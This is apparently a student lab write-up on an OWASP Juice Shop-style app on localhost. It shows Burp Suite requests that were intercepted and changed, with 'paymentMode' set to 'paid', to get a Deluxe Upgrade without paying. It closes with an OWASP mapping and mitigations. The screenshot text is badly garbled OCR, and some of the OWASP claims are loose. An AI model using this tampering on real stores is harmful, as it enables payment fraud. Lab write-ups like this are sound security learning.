<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: l dismiss; eyJOeXAiC eyJDZCIGM 3N3b33kIj 9tZXIILC</pre>	platform http://loc Site: sa Mode: co Dest: em http://lo coding: g anguage=e token= hiJKV1QLIC hjIsINVZZY oiNTgyZNM	b) Chrom m: "Linu ame-orig ors mpty ocalhost gzip, de en-US,en en; welc CJhbGciO XJuYW11I MxNGMwNj Jb2tlbiI	e/106.0. x" 3000 in :3000/ flate ;q=0.9 comebanne bjSUzIIN joiliwiZ AlMWJNW GliIsImx	r_status iJ9.eyJz WlhaWwiC YzYTJjZm hc3RMb2d	WINC4; X64 Safari/537.: dGFOdXMiOiJ: dGFOdXMiOiJ: dJyM2d0OTAz( UIMTk0ZTU500 pbklwIjoiMC4	ookieconsent_s cdWNjZXNzIiwiZ CdYYWlsLmNvbS CiLCJyb2XlIjo 4wLjAuMCIsInBy	tatus= GF0YSI6 ISINBhc iY3VzdG b2ZpbGV
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-En 7 Accept-La 8 Cookie: l dismiss; eyJO2XAiC eyJpZCIGM 3N3b3JKIj 9tZXILC JbWFnZSIG</pre>	platform ttp://loc Site: sa Mode: cc Dest: em http://loc inguage: e anguage=e token= )iJKVlQiLC hjIsINVZZY oiNTgyZWM kZWxleGVL iI9hc3Nlc	b) Chrom m: "Linu calhost: mpty ocalhost gzip, de en-US, en cn; welc CJhbGciC KJuYWIII MxNGMwNj Jb2thbi dHMvcHVi	e/106.0. x" 30000 in :3000/ flate :;q=0.9 comebanne biJSUzIIN joiIsWiZ AlMWJLWW GIIISImx bGljL2lt	r_status iJ9.eyJz WlhaWwiO YzYTJjZm hc3RMb2d YWdlcy91	WIN64; X64 Safari/537.: dGF0dXMi0iJ: iJyM2d00TA2 UIMTk0ZTU50 pbklwIjoiMC cGxvYWRzL2R]	ookieconsent_s dWNjZXNzIiwiZ OdtYWlsLmNvbS OciLCJyb2xlIjo WwLjAuMCISInBy ZmF1bHQuc3ZnI	tatus= GF0YSI6 ISInBhc iY3VzdG b2ZpbGV iwidG90
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-En 7 Accept-La 8 Cookie: l dismiss; eyJO2XAiC eyJpZCIGM 3N3b3JkIj 9tZXIiLCJ JbWFnZSIG cFNLY3Jlc</pre>	platform http://loc Site: sa Mode: cc Dest: em http://loc coding: c unguage: e anguage=e token= hiJKVlQiLC hjIsInVzZV oiNTgyZWM kZWxleGVL iIi9hc3Nlc ICI6IIISIm	b) Chrom m: "Linu calhost: mpto pors mpty ocalhost gzip, de an-US, en en; welc CJhbGciC CJhbGciC CJhbGciC CJhbGciC HMVCHVi Jb2tlbiI dHMvCHVi mlzQWNOa	e/106.0. x" 30000 in :3000/ flate :;q=0.9 comebanne biJSUzIIN joiIiwiZ AlMWJNW GIIISImx bGIjL2lt xZlIjpOc	r_status iJ9.eyJz WlhaWwiQ YzYTJjZm hc3RMb2d YWdlcy91 nVlLCJjc	WINC4; X64 Safari/537.: dGF0dXMiOiJ: iJyM2d00TA2 UIMTk0ZTU50 UDMTk0ZTU50 pbklw1joiMC cGxvYWRzL2R1 mVhdGVkQXQiC	ookieconsent_s cdWNjZXNzIiwiZ OdtYWlsLmNvbS OciLCJyb2xlIjo 4wLjAuMCIsInBy .ZmF1bHQuc3ZnI DiIyMDIyLTEwLT	tatus= GF0YSI6 IsInBhc iY3VzdG b2ZpbGV iwidG90 I0IDAyO
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-En 7 Accept-La 8 Cookie: l dismiss; eyJ0eXAiC eyJpZCIGM 3N3b3JkIj 9tZXIiLC JbWFnZSIG cFNLY3Jlc jEy0jI4Lj</pre>	platform http://loc Site: sa Mode: cc Dest: em http://loc coding: g unguage=e token= hJJKVlQiLC hjIsINVZ2) oiNTgyZW kZWxleGVU iIi9hc3NLc CIGIIISIm M3NyArMD/	b) Chrom m: "Linu calhost: ame-orig prs mpty ocalhost gzip, de en-US, en en; welc CJhbGciC XJuYWILI MxNGMwNj Jb2tlbiI JhMvCHVi nlzQWNOa AGMDALLC	e/106.0. x" 30000 in :3000/ flate ;q=0.9 comebanne biJSUzIIN joiIiwiZ AIMWJNW GIIISImx bGljL2lt' XZlIjpOc JlcGRhdG	r_status iJ9.eyJz WlhaWwiC YzYTJjZm hc3RMb2d nVlLCJjc VkQXQiOi	W1D64; X64, Safari/537.: dGF0dXMi0iJ: iJyM2d00TA2( U1MTk0ZTU50( pbklwIjoiMC: cGxyTWRzL2RI mVhdGVkQXQi( IYMDIyLTEwLT	ookieconsent_s cdWNjZXNzIiwiZ GdtYWlsLmNvbS DciLCJybZxlIjo AwLjAuMCIsInBy ZmFlbHQuc3ZnI DiIyMDIyLTEwLT TIOIDAyOjEyOjI	tatus= GF0YSI6 IsInBhc iY3VzdG b2ZpbGV iwidG90 I0IDAyO 4LjM3Ny
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: 1 dismiss; eyJ0eXAiC eyJpZCI6M 3N3b3JkIj 9tZXILC2 JbWFnZSI6 cFNLY3Jc iFy0jI4Lj ArMDA6MD0 200000000000000000000000000000000000</pre>	platform http://loc Site: sz Mode: cc -ocest: em http://lo coding: g inguage=e token= iJKV101LC hjIsInVzZ> oiNTgyZWh kZWx1eGVL (Ii9hc3NLc (CIGIIISIM M3NyArMDJ iLCJkZWx1	b) Chrom m: "Linu calhost: ame-orig prs mpty ocalhost gzip, de en-US,en en; welc CJhbGciC XJuYWILI MxNGMWNj Jb2tlbiI JHVerHvi alzQWNOa AGMDAILC dGVkQXQ	e/106.0. x" 30000 in :3000/ flate ;q=0.9 comebanne biJSUzIIN joiIiwiZ AlMWJNW GIIISImx bGljL2tt XZlIjpOc CJIcGRhdG biOTSIbGX	r_status iJ9.eyJz WlhaWwiO YzYTJjZm hc3RMb2d yWdlcy91 nVlLCJjc VkQXQiOi 9LCJpYXQ	Win64; x64, Safari/537.: dGF0dXMi0iJ; iJyM2d00TAz( UIMTk0ZTU500 pbklwIjoiMCd cGxvYWRzL2RI WYhGVk0X0i IYMDIyLTEwLT iOjE2NjY10D/	pokieconsent_s cdWNjZXNzIiwiZ GdtYWlsLmNvbS DciLCJyb2xlIjo AwLjAuMCISINBy ZmFlbHQuc3ZnI DiJMDIyLTEwLT TIOIDAyOjEyOjI A2MTQSImV4cCI6	tatus= GF0YSI6 ISInBhc iY3VzdG b2ZpbGV iwidG90 IOIDAy0 4LjM3Ny MTY2NjU
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-En 7 Accept-La 8 Cookie: 1 dismiss; eyJ0eXAiC eyJpZCI6M 3N3b3JkIj 9tZXIiLCJ JbWFnZSIC cFNLY31C jEy0jI4Lj ArMDA6MDA 50DYxNHO.</pre>	platform http://loc Site: sz Mode: cc Dest: em http://lo coding: c inguage=e token= i.j.KV10iLC hjIsInVzZy oiNTgyZWP kZWx1eGVL Ti9hc3NLo CI6IIISIm M3NyArMD/ iLCJkZWx1 xuRs14rWF	b) Chrom m: "Linu calhost: ame-orig ors mpty ocalhost gzip, de en-US,en en; welc CJhbGciO XJuYWILI MXNGMMMJ Jb2tlbiI dHMvcHVi dHVvcHVi dHVvcHVi dLZQWNOA AGMDAILC LdGVkQXQ Fr6xJGUB	e/106.0. x" 30000 in :3000/ flate ;q=0.9 :omebanne DiJSUzIIN joiIiwiZ AlMWJlNW GIIISIMX bGljL2lt XZlIjpOc CJlcGRhdG DiOM51bGx XyP3aYxi8	r_status iJ9.eyJz W1haWwiQ YzYTJjZm hc3RMb2d YWdlcy91 NVLCJjc VkQXQiOi 9LCJpYXQ G0vF5651	<pre>winc4; x64; Safari/537.: dGF0dXMi0iJ: iJyM2d00TAz( UIMTk0ZTU50[ pbklwIjoiMC: cGxvYWRZL2RI WhdGVkQXQi( IYMDIyLTEwL] i0jE2NjY10D/ 90xryu5HiLy;</pre>	pokieconsent_s pokieconsent pokieconsent	tatus= GFOYSI6 ISInBhc iY3VzdG b2ZpbGV iwidG90 4LjM3Ny MTY2NjU ISLtsd4w
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 5 Referer: 6 Accept-La 8 Cookie: l dismiss; eyJOEXAiC eyJpZCI6M 3N3b3JkIj 9tZXIiLC JbWFnZSI6 cFNLY3Jld jEyOjI4Lj ArMDA6MDA 50DYxNH0. no2U8wmbk efHetaTaT</pre>	platform http://loc Site: sa Mode: cc Dest: em http://lo ccoding: c inguage: e anguage=e token= biJKV10iLC bjJSV1	b) Chrom m: "Linu calhost: mpty bcalhost gzip, de en-US, en en; welc CJhbGciO XJuYWILI MXNGMWNJ Jb2tlbiI HMVcHVi mlzQWNOa AGMDAiLC dGVkQXQ Fr6xJGU3 .d950Z1g .d950Z1g	e/106.0. x" 3000 in :3000/ flate ;q=0.9 comebanne iJSUzIIN joiIiwiZ AlMWJlNW GIIISIMX bGljL2lt XZlIjpOc JlcGRhdG jiOM51bGx SyP3aYxi8 dyIYD3A8	r_status iJ9.eyJz WlhaWwiO YzYTJjZm hc3RMb2d YWdlcy91 nVlLCJjc VkQXQiOi 9LCJpYXQ GOvF565T 4n3pldU7	WINC4; X64, Safari/537.: dGF0dXMiOiJ; iJyM2d00TAz( UIMTk0ZTU500 pbklwIjoiMC cGxyTWRZL2R1 mVhdGVk0XQL IyMDIyLTEwL iOjEZNjY10D/ 90xryu5HiLy0 u70_vpW2CXT:	pokieconsent_s dWNjZXNzIiwiZ GdtYWlsLmNvbS DciLCJyb2xlIjo WLjAuMCIsInBy ZmFlbHQuc3ZnI DiJyMDIyLTEWLT TIOIDAyOjEVOjI A2MTQsImV4cCI6 012CnwHZ-iYcN SCOomWsKFlykJu	tatus= GF0YSI6 ISInBhc iY3VzdG b2ZpbGV iwidG90 I0IDAyO 4LjM3Ny MTY2NjU ISLtsd4w le6hDy8
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: l dismiss; eyJOeXAC 9JJZCIGO 3N3b3JKIj 9tZXILC3 JbWFnZSIC cFNLY3Jlc jEyOjI4Lj ArMDAGMDA 50DYxNHO, no2U8wmbk mGHrTwLTX 2 Connection</pre>	platform http://loc Site: sa Mode: cc Dest: em http://lo ccoding: c inguage: e anguage=e token= biJKV1QiLC bjIsINV22 oiNTgyZWH kZWx1eGVL JIJ9hc3NLc lCI6IIISI M3NyArMD/ iLCJkZWx1 xuRs14rWF NZQHWv74L OnESEGSa 	b) Chrom m: "Linu calhost: ampty scalhost gzip, de en-US, en en; welc CJhbGciO XJNYWILI MXNGMANJ Jb2tlbiI HMVcHVi alzQWNOa A6MDAILC dGVkQXC =r6xJGU3 _qwjRAIS _qwjRAIS	e/106.0. x" 3000 in :3000/ flate ;q=0.9 comebanne diJSUzIIN joiIiwiZ AlMWJlNW (GIIISImx bGljL2lt XZlIjpOc JlcGRhdG diOm51bGx XyP3aYxi8 dyIYD3A8 S_cN8ex3	r_status iJ9.eyJz WlhaWwiC YzYTJjZm hc3RMb2d YWdlcy91 nVLCJjc VkQXQiOi 9LCJPYXQ GOvF565T 4n3pldU7 I	WINC4; x64, Safari/537.: dGF0dXMiOiJ; iJyM2d00TAz( UIMTk0ZTU50 pbklwIjoiMC cGxvYWRzL2Ri mVhdGVkQXQL iJyMDIyLTEwL iOjEZNjY10DJ 90xryu5HiLyd u70_vpW2CXT:	pokieconsent_s dWNjZXNzIiwiZ QGdtYWlsLmNvbS DciLCJyb2xlIjo WLjAuMCIsInBy ZmFlbHQuc3ZnI DiIyMDIyLTEwLT TIOIDAy0jEy0jI 22MTQSImV4cCI6 1012CnwHZ-iYCN SCOomWsKFlykJu	tatus= GF0YSI6 ISINBhc iY3VzdG b2ZpbGV iwidG90 I0IDAyO 4LjM3Ny MTY2NjU ISLtsd4w le6hDy8
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-La 8 Cookie: L dismiss; eyJOeXAC 9JJZCIGM 3N3b3JKIj 9tZXILC3 JbWFnZSIG cFNLY3Jtd jEYOJI4Lj ArMDAGMDA SODYXNHO. no2U8vmbk mGHrTwLTx 9 Connectio 0</pre>	platform http://loc Site: sa Mode: cc Dest: em http://lo ccoding: g inguage: e anguage=e token= biJKV1QiLC tjIsInV22 oiNTgyZWM kZWx1eGVL TI9hc3NLc ICI6IISIM M3NyArMDJ iLCJkZWx1 xuRs14rWF NZQHMv74L OnESEGsa_ m: close	b) Chrom m: "Linu calhost: mpty ocalhost gzip, de en-US, en en; welc CJhbGciO XJuYWILI MXNGMWJ Jb2tlbiI dHMvcHVi alzQWNOa A6MDALLC dGVkQXQ r6xJGU3 _qwjRAIS	e/106.0. x" 30000 in flate ;;q=0.9 comebanne biJSUZIIN joiIiwiZ AIMWJLWW GIIISImxi bGljL2lt XZlIjPOc CJLCGRhdG CJLCGRhdG SJCGRhdS bGljL2lt XZlIjPOc CJLCGRhdS SJCSLS XYPSaYXi8 dyIYD3A8 S_cN8ex3	r_status iJ9.eyJz WlhaWwiO YzYTJjZm hc3RMb2d YWdlcy91 nVlLCJjci VkQXQiOi g0vF565T 4n3pldU7 I	WINC4; X64, Safari/537.: dGFOdXMiOiJ; ijJM2d0OTAz( UIMTk0ZTU500 pbklwIjoiMC cGxvYWRzL2Ri mVhdGVkQXQiC IJMDIyLTEwLT iOjEZNjY10DJ 9oxryu5HiLyG 'u70_vpW2CXT!	apprenebkit/ pokieconsent_s adWNjZXNzIiwiZ QGdtYWlsLmNvbS DciLCJyb2xlIjo AwLjAuMCISInBy ZmFlbHQuc3ZnI DiIyMDIyLTEwLT TIOIDAy0jEy0jI A2MTQSImV4CCI6 1012CnwHZ-iYCN SC0omWsKFlykJu	tatus= GF0YSI6 ISINBhc iY3VzdG b2ZpbGV iwidG90 IOIDAyO 4LjM3Ny MTY2NjU ISLtsd4w le6hDy8
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: L dismiss; eyJOeXAC eyJPZCIGM 3N3b3JKIj 9tZXILC3 JbWFnZSIG cFNLY3JL0 jEYOjI4Lj ArMDAGMDA 5ODYxNHO. no2U8wmbk mGHrTwLTx 9 Connectio 0 1 {"payment"</pre>	platform http://loc -Site: sa -Mode: co -Dest: em http://loc coding: g inguage: e anguage=e token= DiJKV10iLC ijIsInVzZy oiNTgyZNM kZWx1eGVL JISPhC3NLo CIGIIISIM M3NyArMDJ kLCJkZWx1 xuRs14rWF NzQHMv74L OnESEGsa m: close	a) Chrom m: "Linu calhost: mpty ocalhost gzip, de en-US, en cJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC CJhbGciC C CJhbGciC C CJhbGciC C CJhbGciC C C C C C C C C C C C C C C C C C C	e/106.0. x" 30000 in flate ;q=0.9 comebanne biJSUzIIN joiIiwiZ AlMWJNW GIIISImx bGljL2lt XZlIjpOc JlcGRhdG piOm51bGx yP3aYxi8 dyIYD3A8 S_cN8ex3	r_status iJ9.eyJz WihaWwiO YzYTJjZm hc3RMb2d YWdlcy91 nVlLCJjc VkQXQiOi 9LCJpYXQ GOvF565T 4n3pldU7 I	WINC4; X64, Safari/537.: dGF0dXMiOiJ: dJyM2d0OTAz( UIMTk0ZTU500 pbklwIjoiMC- cGxvYWRzL2RI mVhdGVk0XQii IyMDIyLTEwL7 i0jE2NjY100 j0xryu5HiLy; u70_vpW2CXT:	apprenebkit/ a6 adWNjZXNzIiwiZ GdtYWlsLmNvbS ciLCJyb2xlIjo AwLjAuMCISInBy ZmFlbHQuc3ZnI DiIyMDIyLTEwLT TIOIDAyOjEyOjI A2MTQSImV4cCI6 GOOmWsKFlykJu	tatus= GF0YSI6 IsInBhc iY3VzdG b2ZpbGV iwidG90 I0IDAyO 4LjM3Ny MTY2NjU ISLtsd4w le6hDy8
<pre>1 Origin: h 2 Sec-Fetch 3 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: l dismiss; ey JO2XAiC ey JD2CI6M 3N3b3JkIj 9tZXIILC3 JbWFnZSIG cFNLY3Jc jEyOjI4Lj ArMDA6MDA 50DYxNHO. no2U8wmbk m6HrTwLTx 9 Connectic 0 1 {"payment</pre>	platform http://loc Site: sa Mode: cc Dest: em http://loc coding: c anguage: e anguage: e anguage: e inguage: e i	<pre>a) Chrom :: "Linu calhost: ime-orig prs mpty ocalhost gzip, de en-US, en -US, e</pre>	e/106.0. x" 30000 in :3000/ flate :;q=0.9 comebanne biJSUzIIN joiIiwiZ AlMWJLWW GIIISImx bGljL2lt XZlIjpOc JlcGRhdG piOm51bGx yP3aYxi8 dyIYD3A8 S_cN8ex3	r_status iJ9.eyJz wihaWwiO YzYTJjZm hc3RMb2d YWdlcy91 nVlLCJjc VkQXQiOi 9LCJpYXQ GOvF565T 4n3pldU7 I	WINC4; X64, Safari/537.: dGF0dXMiOiJ: iJyM2d0OTAzC UIMTk0ZTU50C pbklwIjoiMC- cGxvYWRzL2R mVhdGVk0XQii IYMDIyLTEwLT iOjE2NjY1OD joxryu5HiLyC 'u70_vpW2CXT:	apprenebkit/ acdwnjZXNzIiwiZ adwnjZXNzIiwiZ adtywlsLmNvbS acLCJyb2xlIjo awLjAuMCISInBy ZmFlbHQuc3ZnI DiIyMDIyLTEwLT TIOIDAy0jEy0jI A2MTQSImV4CCI6 G012CnwHZ-iYCN GC0omWsKFlykJu	537.36 tatus= GFOYSI6 ISINBhc iY3V2dG b22pbGV iwidG90 IOIDAyO 4LjM3Ny MTY2NjU ISLtsd4w le6hDy8

Next, I had to copy the code to the Repeater and again on line 21 I changed the "paymentMode": "paid" instead of wallet allowing toe system to process the Deluxe Upgrade.

<pre>1 × 2 × 3 × + Send @ Cancel &lt; &gt; &gt; * Request Pretty Raw Hex ey JoeXAiOi JKV1QiLCJhbGciOi JSUzI1Ni J9. ey JzdGF0dXMiOi y JpZCIGMj IsInVzZXJUYW1LTjoi Iivi ZW1haWwiOi JyM2d00TAz 3b3JkIjoiNTgyZWMxNGMvNjA1MWJ1NWYzYTJjZmU1MTkOZTUSOE XIILCJkZWx1eGVUb2tlbiIGIIIsImxhc3RMb2dpbklwIjoiMC4v nZSIGIi9hc3NldHMvcHvibGljL2ltYWdlcy9lcGxvYWRZL2RlZn 3JldCIGIIIsImlzQWN0aXZlIjpOcnVLLCJjcmVhdGVkQXQiOiIy 4LjMSNyArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDIyLTEvLTIOII DAiLCJkZWx1dGVkQXQiOmSlbGx9LCJpYXQiOjE2NjY10DA2MT0s , xuRs14rWFr6xJGU3yP3aYxi8G0vF565T9oxryuSHiLyq012Cnv NzQHMv74Ld950ZlgdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsW nESEGsa_qwjRA19S_cN8ex3I Connection: close {     "paymentMode":"paid" } </pre>	JzdWNjZXNzIiwiZGF( QGdtYWlsLmNvbSIsI CiLCJyb2xlIjoiY3V; LjAuMCISInByb2Zb0 MDIyLTEwLTIOIDAy0; MJy0jEy0jI4LjM3NyA ITmV4cCIGMTY2NjU500 (HZ-iYcNSLtsd4wno2) FlykJuleGhDy8m6Hr	Tar In E OYSIGe nBhc3N zdG9t2 GVJbWF OcFNLY jEyOjI rMDA6M DYXNHO U&wmbk TwLTxO
Send Cancel < > > * Request Pretty Raw Hex ey JoeXAiOi JKVlQiLCJhbGciOi JSUzIINi J9. ey JzdGF0dXMiOi y JpZCIGHJ ISINVZZXJUYWILTjoi Iivi ZWIhaWwiOi JyM2d00TA2 3b3JkIjoiNTgyZWMxNGMvNjAIMWJ1NWYZYTJJZmUIMTkOZTUSOU XIILCJkZWxleGVUb2tlbiIGIIISImxhc3RMb2dpbklwIjoiMC4w nZSIGIi9hc3NldHMvcHvibGljL2ltYWdlcy9lcGxvYWRZL2RlZn 3JldCIGIIISImlzQWN0aXZlIjpOcnVLLCJjcmVhdGVkQXQiOiIy 4LjM3NyArMDA6MDAiLCJ1cGRhdGVkQXQiOiIYMDIyLTEwLTIOII DAILCJkZWxldGVkQXQiOmSlbGx9LCJpYXQiOjE2NjY10DA2MTQs , xuRsl4rWFr6xJGU3yP3aYxi8G0vF565T90xryuSHiLyq0l2Cnv NzQHMV74Ld950ZlgdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsW nESEGsa_qwjRA19S_cN8ex31 Connection: close {     "paymentMode":"paid" }	JzdWNjZXNzIiwiZGF( QGdtYWlsLmNvbSIsI DciLCJyb2xlIjoiY3V; LjAuMCIsInByb2Zb0 MDIyLTEwLTIOIDAy0; DAy0jEy0jI4LjM3NyA IImV4cCI6MTY2NjU500 (HZ-iYcNSLtsd4wno2) FlykJule6hDy8m6Hr	IN E OYSIGE nBhc3N zdG9tZ GVJbWF OcFNLY jEyOjI rMDAGM DYxNHO U&wmbk TwLTxO
Pretty Raw Hex ey Joe XAiOi JKV1OiLCJhbGciOi JSUZIINiJ9. ey JzdGFOdXMiOi y JpZCIGMj ISINVZZXJuYW1ljoiIiwiZW1haWwiOi JyM2d0OTAz 3b3JkIjoiNTgyZWMxNGMwNjAlMWJ1NWYzYTJjZmU1MTkOZTU5OC XIILCJkZWx1eGVUb2tlbiIGIISImxhc3RMb2dpbklwIjoiMC4w nZSIGII9hc3NldHMvcHVibGljL2ltYWdlcy9lcGxvYWRzL2RlZm 3JldCIGIIISIm1zQWN0aXZlIjpOcnVLCJjcmVhdGVkQXQiOiIy 4LjM3NyArMDAGMDAiLCJ1cGRhdGVkQXQiOiIyMDIyLTEwLTIOII DAILCJkZWxldGVkQXQiOm5lbGx9LCJpYXQiOjE2NjY10DA2MTQs xuRs14rWFr6xJGU3yP3aYx18G0vF565T90xryuSHiLyq012Cnv NzQHMv74Ld950ZlgdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsM nESEGsa_qwjRA19S_cN8ex3I Connection: close { "paymentMode":"paid" }	JzdWNj ZXNZIiwiZGF( QGdtYWlsLmNvbSISI OciLCJyb2xlijoiY3V: LjAuMCISInByb2Zpb6 (FIbHQuc3ZnIiwidG90 (MDIyLTEwLTIOIDAy0; DAy0jEy0jI4LjM3NyA; ImV4cCI6MTY2NjU500 (HZ-iYCNSLtsd4wno2) (FlykJule6hDy8m6Hr	IN E OYSIGe nBhc3N zdG9t2 GCJbWF OcFNLY jEyOjI rMDAGM DYXNHO U&wmbk TwLTXO
Pretty Raw Hex ey Joe XAiOi JKV1QiLCJhbGciOi JSUZIINiJ9.ey JzdGF0dXMiOi y JpZCIGMj ISINVZZXJuYWlljoiIiwiZWlhaWwiOi JyM2d0OTAz 3b3JkIjoiNTgyZWMxNGMwNjALMWJ1NWYZYTJjZmUJMTk0ZTU5OC XIILCJkZWxleGVUb2tlbiIGIISImxhc3RMb2dpbklwIjoiMC4w nZSIGII9hc3NldHMvcHVibGljL2ltYWdlcy9lcGxvYWRzL2RlZm 3JldCIGIIISImlzQWN0aXZlIjp0cnVLCJjcmVhdGVkQXQiOiIy 4LjM3NyArMDA6MDAiLCJ1CGRhdGVkQXQiOiIyMDIyLTEwLTIOII DAiLCJkZWxldGVkQXQiOm5lbGx9LCJpYXQiOjE2NjY10DA2MTQs xuRs14rWFr6xJGU3yP3aYx18G0vF565T90xryuSHiLyq012Cnv NzQHMv74Ld950ZlgdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsM nESEGsa_qwjRA19S_cN8ex3I Connection: close { "paymentMode":"paid" }	JzdWNj ZXNZIiwiZGF( QGdtYWlsLmNvbSISI OciLCJyb2xlIjoiY3V; LjAuMCISInByb2Zpb0 (FIbHQuc3ZnIiwidG90 (MDIyLTEwLTIOIDAy0; DAy0jEy0jI4LjM3NyA :ImV4cCI6MTY2NjU500 (HZ-iYCNSLtsd4wno21 :FlykJule6hDy8m6Hr	IN ≡ OYSIGe nBhc3N zdG9tZ GVJbWF OcFNLY jEyOjI rMDAGM DYxNHO U&wmbk TwLTxO
<pre>eyJoeXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOi yJpZCIGHjISInVzZXJuYW1LTjoiIIwiZW1haWwiOiJyM2d00TAz 3b3JkIjoiNTgyZWMxNGMvNjAlMWJ1NWYzYTJjZmU1MTk0ZTU50C XIILCJkZWx1eGVUb2tlbiIGfIISImxhc3RMbZqbklwiJjoiMC4w nZSIGII9hc3NldHMvcHVibGljL2ltYWdlcy9lcGxvYWRzL2RlZn 3JldCIGIIISImlzQWN0aXZlIjpOcnVLCJjcmVhdGVkQXQiOiIy 4LjM3NyArMDA6MDAiLCJ1cGRhdGVkQXQiOiIyMDJyLTEwLTIOII DAILCJkZWkldGVkQXQiOm5lbGs9LCJpYXQiOjE2NjY10DA2MTQs .xuRs14rWFr6xJGU3yP3aYxi8GvrF565T90xryu5HLyq012Cnv NzQHMv74Ld950ZlgdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsM nESEGsa_qwjRA19S_cN8ex3I Connection: close { "paymentMode":"paid" } </pre>	JzdWNjZXNzIiwiZGF OGdtYWlsLmNvbSIsI OciLCJyb2xlIjoiY3V LjAuMCIsInByb2Zpb MDIyLTEwLTIOIDAyO MOIyLTEwLTIOIDAYO MAYOjEYOjI4LjM3NyA ImV4cCI6MTY2NJU50 HZ-iYcNSLtsd4wno2 FlykJule6hDy8m6Hr	OYSIGe nBhc3N zdG9tZ GVJbWF OcFNLY jEyOjI rMDA6M DYXNHO UØwmbk TwLTxO
<pre>XIILCJkZWxleGVUb2tlbiI6IIIsImxhc3RMb2dpbklwIjoiMC4w nZSI6II9hc3NldHMvcHvibGljL2ltYWdlcy9lcGxvYWR2L2RlZn 3JldCI6IIISmlzQWN0aXZlIjp0cnVlLCJjcmVhdGVkQXQi0IIy 4LjM3NyArMDA6MDAiLCJlcGRhdGVkQXQi0IIyMDIyLTevLTI0ID DAiLCJkZWxldGVkQXQi0m51bGx9LCJpYXQi0jE2NjYl0DA2MTQs ,xuRs14rWFr6xJGU3yP3aYxi8G0vF565T9oxryu5HiLyq0l2Cnw NzQHMv74Ld950ZlgdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsk nESEGsa_qwjRA19S_cN8ex3I Connection: close {     "paymentMode":"paid" } </pre>	/LjAuMCIsInByb2Zpb/ /FlbHQuc3ZnIiwidG9/ /MDIyLTEwLTIOIDAy0; AyOjEyOjI4LjM3NyAi ImV4cCIGMTY2NjUS0/ /HZ-iYCNSLtsd4wno2/ /FlykJule6hDy8m6Hr	GVJbWF OcFNLY jEyOjI rMDA6M DYxNHO USWINbk DWXNHO USWINbk TwLTxO
<pre>4LjM3NyArMDA6MDAiLC31cGRhdGVkQXQi01IyMDIyLTEwLT1011 DAiLC3kZWxldGVkQXQi0m51bGx9LC3pYXQi0jE2NjY10DA2MTQs .xuRs14rWFr6xJGU3yP3aYxi8G0vF565T9oxryu5HiLyq012Cnv NzQHMv74Ld950Z1gdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsk nE5EGsa_qwjRA19S_cN8ex31 Connection: close { "paymentMode":"paid" } </pre>	AyOjEyOjI4LjM3NyA IMV4cCI6MTY2NjU5OI HZ-iYcNSLtsd4wno2U FlykJule6hDy8m6Hr	ndag DYXNH0 U&wmbk TwLTx0
<pre>.xuRs14rWFr6xJGU3yP3aYx18G0vF565T90xryuSHiLyq012Cnw NzQHMv74Ld950Z1gdyIYD3A84n3pldU7u70_vpW2CXTSC0omWsM nESEGsa_qwjRA19S_cN8ex3I 0 Connection: close } { "paymentMode":"paid" }</pre>	HZ-1YCNSLtsd4wno2 FlykJule6hDy8m6Hr	U8vmbk TwLTx0
Connection: close { "paymentMode":"paid" }		
{     "payment Mode": "paid"   }		
"payment Mode": "paid"		
		a area
$2$ $0$ $\nabla$ $\nabla$ $\nabla$ $\nabla$ $\nabla$ $\nabla$	0	) matches
	1.5	
lesponse		
Pretty Raw Hex Render	8	\n ≣
HTTP/1.1 200 OK		
Access-Control-Allow-Origin: *		
X-Frame-Options: SAMEORIGIN		
Feature-Policy: payment 'self'		
Content-Type: application/ison: charset=utf-8		
Content-Length: 934		
ETag: W/"3a6-cBCb7NSW3L01RzzWIB0fPc1T59A"		
Vary: Accept-Encoding		
Date: Mon, 24 Oct 2022 03:20:02 GMT		
connection. crose		
i f		
"status":"success",		
"data":{		
a) (b) (∠) → Search		matches

From the OWASP Top Ten this type of attack would be A9 (Using components with known vulnerabilities) & A10 (Unvalidated redirects and requests). Ill break down these three and how I was able to gain access according to OWASP. Using components with known vulnerabilities, I opted to utilize Burp Suite because of the Man-in-the-middle attack. It was this attack which allowed me to intercept traffic from the domain and alter the payment to "paid". Along with Burp Suite ties into A10 because the website allowed a unvalidated redirect request without further authentication (Simpson, M., & Antill, N., 2017). To mitigate both vulnerabilities, I would recommend a HTTPS webserver which has multiple layers of security to validate user requests. Ensure log data is encoded correctly to prevent injections or attacks on the logging or monitoring of systems & to ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.

Enforce "deny by default" firewall policies or network access control rules to block all but essential intranet traffic (OWASP TOP10., 2021).

## Reference

